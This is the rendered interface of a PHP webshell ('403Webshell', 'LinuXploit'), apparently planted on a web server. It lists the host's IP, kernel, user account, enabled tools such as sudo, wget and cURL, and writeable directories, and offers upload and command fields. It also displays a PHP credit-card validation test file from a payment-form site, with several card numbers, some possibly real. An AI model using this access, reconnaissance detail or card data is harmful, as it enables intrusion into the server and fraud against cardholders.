403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/pcisecureform.com/lcapi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/pcisecureform.com/lcapi/testccvalidation.php
<?php
	include("inc/creditcard.inc.php");

	$cc=new CCVAL;
	
	$credit_cards = array(
					"4160 4604 7382 5929", 					
					"4160460473825929",
					"5113933200178601", 
					"5449 2702 9061 8609", 
					"370000000000002", 
					"379017510387274"					 
					);
	print_r($credit_cards);
	echo "<br/>--- Start Validating ---<br/>";
	//$cctype="visa";

	/*Test credit cards

		370000000000002 American Expres (amex)  

		6011000000000012 Discover

		5424000000000015 Master Card

		4111111111111111 visa
	*/

	/*if($cc->isVAlidCreditCard($ccnum))
		echo "Valid credit card .";
	else
		echo "Not valid!";

	if($cc->isVAlidCreditCard($ccnum,$type))
		echo "Valid credit card .";
	else
		echo "Not valid!";*/

foreach($credit_cards as $ccnum)
{
	$ccnum = trim($ccnum);
	$ccnum = explode(" ", $ccnum);
	$ccnum = join($ccnum);
	$obj=$cc->isVAlidCreditCard($ccnum,"",true);
	echo $obj->valid ."<br/>";
	echo $obj->ccnum ."<br/>";
	echo $obj->type  ."<br/><br/>";
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit